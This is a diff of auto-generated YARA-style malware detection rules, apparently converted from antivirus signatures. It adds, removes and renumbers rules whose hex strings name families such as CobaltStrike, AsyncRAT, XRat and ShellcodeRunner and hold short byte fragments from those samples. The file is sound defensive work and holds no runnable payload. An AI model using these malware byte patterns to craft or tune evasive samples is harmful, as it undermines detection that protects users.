_InfrastructureShared_5695{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*30531) >=7 } -rule _InfrastructureShared_5696{ +rule _InfrastructureShared_5955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -59068,7 +61739,7 @@ rule _InfrastructureShared_5696{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5697{ +rule _InfrastructureShared_5956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -59078,28 +61749,7 @@ rule _InfrastructureShared_5697{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_5698{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 47 54 59 21 4d 54 42 00 0a 00 35 03 45 08 e6 45 08 fd 45 30 ee 45 88 df 41 80 f7 90 01 01 41 88 dc 41 80 f4 90 01 01 41 88 fd 41 80 f5 90 01 01 45 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=10 - -} -rule _InfrastructureShared_5699{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 45 41 41 54 21 4d 54 42 00 05 00 16 01 31 d7 89 7c 24 04 8b 54 24 04 80 c2 04 88 94 04 01 00 00 80 40 49 05 00 1a 01 8d 14 7a 42 21 f2 89 54 24 04 8b 54 24 04 80 c2 a6 } //16675 - $a_52_1 = {ff ff 40 49 } //-27512 - condition: - ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*-27512) >=10 - -} -rule _InfrastructureShared_5700{ +rule _InfrastructureShared_5957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -59110,7 +61760,7 @@ rule _InfrastructureShared_5700{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*31074) >=200 } -rule _InfrastructureShared_5701{ +rule _InfrastructureShared_5958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59120,7 +61770,7 @@ rule _InfrastructureShared_5701{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5702{ +rule _InfrastructureShared_5959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59130,7 +61780,7 @@ rule _InfrastructureShared_5702{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5703{ +rule _InfrastructureShared_5960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59140,7 +61790,7 @@ rule _InfrastructureShared_5703{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5704{ +rule _InfrastructureShared_5961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59150,7 +61800,17 @@ rule _InfrastructureShared_5704{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5705{ +rule _InfrastructureShared_5962{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 57 69 6e 36 34 2f 48 61 6e 64 43 72 61 6e 6b 65 64 46 61 6e 2e 41 21 64 68 61 00 01 00 29 43 41 b8 e3 03 00 00 c7 45 90 01 01 55 6e 6f 79 c7 45 90 01 01 61 7e 65 7a c7 45 90 01 01 24 63 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_5963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59160,7 +61820,7 @@ rule _InfrastructureShared_5705{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5706{ +rule _InfrastructureShared_5964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59170,7 +61830,7 @@ rule _InfrastructureShared_5706{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5707{ +rule _InfrastructureShared_5965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59180,7 +61840,7 @@ rule _InfrastructureShared_5707{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5708{ +rule _InfrastructureShared_5966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59190,7 +61850,7 @@ rule _InfrastructureShared_5708{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5709{ +rule _InfrastructureShared_5967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59200,7 +61860,7 @@ rule _InfrastructureShared_5709{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5710{ +rule _InfrastructureShared_5968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59210,7 +61870,7 @@ rule _InfrastructureShared_5710{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5711{ +rule _InfrastructureShared_5969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59220,7 +61880,7 @@ rule _InfrastructureShared_5711{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5712{ +rule _InfrastructureShared_5970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59230,7 +61890,7 @@ rule _InfrastructureShared_5712{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5713{ +rule _InfrastructureShared_5971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59240,7 +61900,7 @@ rule _InfrastructureShared_5713{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5714{ +rule _InfrastructureShared_5972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59250,7 +61910,7 @@ rule _InfrastructureShared_5714{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5715{ +rule _InfrastructureShared_5973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59260,7 +61920,7 @@ rule _InfrastructureShared_5715{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5716{ +rule _InfrastructureShared_5974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59270,7 +61930,7 @@ rule _InfrastructureShared_5716{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5717{ +rule _InfrastructureShared_5975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59280,7 +61940,7 @@ rule _InfrastructureShared_5717{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5718{ +rule _InfrastructureShared_5976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59290,7 +61950,7 @@ rule _InfrastructureShared_5718{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5719{ +rule _InfrastructureShared_5977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59300,17 +61960,27 @@ rule _InfrastructureShared_5719{ ((#a_77_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5720{ +rule _InfrastructureShared_5978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_6c_0 = {77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 43 6f 6e 76 65 72 74 69 64 6f 72 50 44 46 2e 41 00 01 00 30 01 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 69 00 64 00 6f 00 72 00 20 00 64 00 65 00 20 00 50 00 44 00 46 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 78 64 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 48 61 63 } //16675 + $a_6c_0 = {77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 43 6f 6e 76 65 72 74 69 64 6f 72 50 44 46 2e 41 00 01 00 30 01 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 69 00 64 00 6f 00 72 00 20 00 64 00 65 00 20 00 50 00 44 00 46 00 20 00 53 00 65 00 74 00 75 00 70 00 00 00 78 64 00 00 01 00 01 00 01 00 21 23 41 6c 6c 6f 77 4c 69 73 } //16675 condition: ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5721{ +rule _InfrastructureShared_5979{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6c_0 = {77 4c 69 73 74 3a 4f 6e 65 44 72 69 76 65 20 53 79 6e 63 20 43 6c 69 65 6e 74 20 54 65 73 74 20 43 65 72 74 69 66 69 63 61 74 65 00 01 00 25 80 01 4f 6e 65 44 72 69 76 65 20 53 79 6e 63 20 43 6c 69 65 6e 74 20 54 65 73 74 20 43 65 72 74 69 66 69 63 61 74 65 00 00 78 64 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 48 61 63 } //16675 + condition: + ((#a_6c_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_5980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59320,7 +61990,7 @@ rule _InfrastructureShared_5721{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5722{ +rule _InfrastructureShared_5981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59330,7 +62000,7 @@ rule _InfrastructureShared_5722{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5723{ +rule _InfrastructureShared_5982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59340,7 +62010,7 @@ rule _InfrastructureShared_5723{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5724{ +rule _InfrastructureShared_5983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59350,7 +62020,7 @@ rule _InfrastructureShared_5724{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5725{ +rule _InfrastructureShared_5984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59360,7 +62030,17 @@ rule _InfrastructureShared_5725{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5726{ +rule _InfrastructureShared_5985{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 41 4b 46 42 21 4d 54 42 00 01 00 33 03 11 0c 16 1f 64 6f 90 01 01 01 00 0a 17 2f 20 16 13 10 2b 15 20 78 56 34 12 11 10 58 6c 28 90 01 01 01 00 0a 26 11 10 17 58 13 10 11 10 1f 0a 32 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_5986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59370,7 +62050,7 @@ rule _InfrastructureShared_5726{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5727{ +rule _InfrastructureShared_5987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59380,7 +62060,7 @@ rule _InfrastructureShared_5727{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5728{ +rule _InfrastructureShared_5988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59390,7 +62070,7 @@ rule _InfrastructureShared_5728{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5729{ +rule _InfrastructureShared_5989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59400,7 +62080,7 @@ rule _InfrastructureShared_5729{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5730{ +rule _InfrastructureShared_5990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59410,7 +62090,7 @@ rule _InfrastructureShared_5730{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5731{ +rule _InfrastructureShared_5991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59420,7 +62100,7 @@ rule _InfrastructureShared_5731{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5732{ +rule _InfrastructureShared_5992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59430,7 +62110,7 @@ rule _InfrastructureShared_5732{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5733{ +rule _InfrastructureShared_5993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59440,7 +62120,7 @@ rule _InfrastructureShared_5733{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5734{ +rule _InfrastructureShared_5994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59450,7 +62130,7 @@ rule _InfrastructureShared_5734{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5735{ +rule _InfrastructureShared_5995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59460,7 +62140,7 @@ rule _InfrastructureShared_5735{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5736{ +rule _InfrastructureShared_5996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59470,7 +62150,7 @@ rule _InfrastructureShared_5736{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5737{ +rule _InfrastructureShared_5997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59480,7 +62160,7 @@ rule _InfrastructureShared_5737{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5738{ +rule _InfrastructureShared_5998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59490,7 +62170,7 @@ rule _InfrastructureShared_5738{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5739{ +rule _InfrastructureShared_5999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59500,17 +62180,17 @@ rule _InfrastructureShared_5739{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5740{ +rule _InfrastructureShared_6000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 41 42 21 4d 54 42 00 01 00 39 01 66 a9 00 80 0f 95 c0 8b 15 c0 97 6b 00 8b 12 32 82 d4 00 00 00 0f 84 fa 00 00 00 a1 14 f6 6b 00 8b 10 ff 52 08 a1 10 f6 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 41 21 4d 54 42 00 01 00 2f 01 50 8d 45 c0 c7 45 c4 52 00 4e 00 50 c7 45 c8 45 00 4c 00 c7 45 cc 33 00 32 00 c7 45 d0 2e } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5741{ +rule _InfrastructureShared_6001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59520,7 +62200,37 @@ rule _InfrastructureShared_5741{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5742{ +rule _InfrastructureShared_6002{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 73 79 6e 63 52 41 54 2e 41 42 21 4d 54 42 00 01 00 35 03 c6 44 24 75 63 c7 44 24 76 3a 5c 77 69 48 b9 90 01 08 48 89 4c 24 7a 48 b9 90 01 08 48 89 8c 24 82 00 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6003{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 49 44 21 4d 54 42 00 01 00 31 03 41 8a 54 2e 90 01 01 42 32 94 38 90 01 04 89 d0 48 8b 94 24 90 01 04 88 44 2a 90 01 01 49 8d 47 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6004{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 53 48 21 4d 54 42 00 01 00 31 03 89 cb f6 d3 20 d3 89 da 30 ca 84 c9 b9 90 01 04 bf 90 01 04 0f 45 cf 84 db bb 90 01 04 0f 44 cb } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59530,7 +62240,7 @@ rule _InfrastructureShared_5742{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5743{ +rule _InfrastructureShared_6006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -59540,7 +62250,7 @@ rule _InfrastructureShared_5743{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5744{ +rule _InfrastructureShared_6007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -59550,7 +62260,7 @@ rule _InfrastructureShared_5744{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5745{ +rule _InfrastructureShared_6008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -59561,7 +62271,7 @@ rule _InfrastructureShared_5745{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-14468) >=1 } -rule _InfrastructureShared_5746{ +rule _InfrastructureShared_6009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -59571,7 +62281,7 @@ rule _InfrastructureShared_5746{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5747{ +rule _InfrastructureShared_6010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -59582,7 +62292,7 @@ rule _InfrastructureShared_5747{ ((#a_77_0 & 1)*19491+(#a_36_1 & 1)*26967) >=1 } -rule _InfrastructureShared_5748{ +rule _InfrastructureShared_6011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -59593,7 +62303,7 @@ rule _InfrastructureShared_5748{ ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*-30512) >=1 } -rule _InfrastructureShared_5749{ +rule _InfrastructureShared_6012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -59604,7 +62314,7 @@ rule _InfrastructureShared_5749{ ((#a_5f_0 & 1)*25635+(#a_33_1 & 1)*26967) >=1 } -rule _InfrastructureShared_5750{ +rule _InfrastructureShared_6013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -59615,7 +62325,7 @@ rule _InfrastructureShared_5750{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28589) >=1 } -rule _InfrastructureShared_5751{ +rule _InfrastructureShared_6014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -59627,7 +62337,7 @@ rule _InfrastructureShared_5751{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*21316+(#a_01_2 & 1)*1) >=1 } -rule _InfrastructureShared_5752{ +rule _InfrastructureShared_6015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -59639,7 +62349,7 @@ rule _InfrastructureShared_5752{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31954+(#a_69_2 & 1)*14930) >=1 } -rule _InfrastructureShared_5753{ +rule _InfrastructureShared_6016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -59651,13 +62361,27 @@ rule _InfrastructureShared_5753{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720) >=1 } -rule _InfrastructureShared_5754{ +rule _InfrastructureShared_6017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 41 46 5f 31 00 01 00 06 01 81 c3 5c 05 00 00 01 00 06 01 81 c1 5c 05 00 00 01 00 06 01 81 c2 5c 05 00 00 01 00 06 01 81 c0 5c 05 00 00 01 00 06 01 81 c6 5c 05 00 00 01 00 06 01 81 c7 5c } //18467 $a_00_2 = {00 01 00 01 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 41 46 5f 32 00 01 00 06 01 81 c3 a4 05 00 00 01 00 06 01 81 c1 a4 05 00 00 01 00 06 01 81 c2 a4 05 00 00 01 00 06 01 81 c0 a4 05 00 00 01 00 06 01 81 c6 a4 05 00 00 01 00 06 01 81 c7 a4 05 00 00 00 } //30720 + $a_00_3 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 53 4c 53 41 21 4d 54 42 00 02 00 37 01 13 0f 11 0f 72 d2 03 00 70 6f 06 01 00 0a 13 10 11 10 28 07 01 00 0a 73 08 01 00 0a 13 11 11 11 6f 09 01 00 0a 13 12 08 28 0f 00 00 0a 2d 10 08 11 12 28 0a 01 00 0a 00 } //30720 + $a_00_4 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 69 6e 79 2e 53 47 41 21 4d 54 42 00 02 00 2f 01 16 0b 2b 22 06 02 07 6f 24 00 00 0a 03 07 03 6f 25 00 00 0a 5d 6f 24 00 00 0a 61 d1 6f 26 00 00 0a 26 07 17 58 0b 07 02 6f 25 00 00 0a 32 d5 00 } //30720 + $a_00_5 = {00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4f 21 4d 54 42 00 02 00 36 03 f7 e6 8b c6 c1 ea 04 8d 0c 92 c1 e1 02 2b c1 8d 8f 90 01 04 03 ce 0f b6 44 05 e4 30 86 90 01 04 b8 cd cc cc cc f7 e1 8b c6 c1 ea 04 8d 0c 92 c1 e1 02 2b c1 90 00 00 } //30720 + condition: + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=1 + +} +rule _InfrastructureShared_6018{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 41 46 5f 32 00 01 00 06 01 81 c3 a4 05 00 00 01 00 06 01 81 c1 a4 05 00 00 01 00 06 01 81 c2 a4 05 00 00 01 00 06 01 81 c0 a4 05 00 00 01 00 06 01 81 c6 a4 05 00 00 01 00 06 01 81 c7 a4 } //18467 + $a_00_2 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 53 4c 53 41 21 4d 54 42 00 02 00 37 01 13 0f 11 0f 72 d2 03 00 70 6f 06 01 00 0a 13 10 11 10 28 07 01 00 0a 73 08 01 00 0a 13 11 11 11 6f 09 01 00 0a 13 12 08 28 0f 00 00 0a 2d 10 08 11 12 28 0a 01 00 0a 00 } //30720 $a_00_3 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 69 6e 79 2e 53 47 41 21 4d 54 42 00 02 00 2f 01 16 0b 2b 22 06 02 07 6f 24 00 00 0a 03 07 03 6f 25 00 00 0a 5d 6f 24 00 00 0a 61 d1 6f 26 00 00 0a 26 07 17 58 0b 07 02 6f 25 00 00 0a 32 d5 00 } //30720 $a_00_4 = {00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 41 52 4f 21 4d 54 42 00 02 00 36 03 f7 e6 8b c6 c1 ea 04 8d 0c 92 c1 e1 02 2b c1 8d 8f 90 01 04 03 ce 0f b6 44 05 e4 30 86 90 01 04 b8 cd cc cc cc f7 e1 8b c6 c1 ea 04 8d 0c 92 c1 e1 02 2b c1 90 00 00 } //30720 $a_00_5 = {00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 58 52 61 74 2e 43 21 64 68 61 00 01 00 24 01 58 00 52 00 61 00 74 00 20 00 43 00 26 00 43 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 01 00 12 01 58 00 52 00 61 00 74 00 20 00 53 00 6f 00 66 00 74 00 00 } //30720 @@ -59665,21 +62389,17 @@ rule _InfrastructureShared_5754{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720) >=1 } -rule _InfrastructureShared_5755{ +rule _InfrastructureShared_6019{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 65 64 66 6f 73 2e 41 46 5f 32 00 01 00 06 01 81 c3 a4 05 00 00 01 00 06 01 81 c1 a4 05 00 00 01 00 06 01 81 c2 a4 05 00 00 01 00 06 01 81 c0 a4 05 00 00 01 00 06 01 81 c6 a4 05 00 00 01 00 06 01 81 c7 a4 } //18467 - $a_00_2 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 69 6e 79 2e 53 47 41 21 4d 54 42 00 02 00 2f 01 16 0b 2b 22 06 02 07 6f 24 00 00 0a 03 07 03 6f 25 00 00 0a 5d 6f 24 00 00 0a 61 d1 6f 26 00 00 0a 26 07 17 58 0b 07 02 6f 25 00 00 0a 32 d5 00 } //30720 - $a_00_3 = {00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 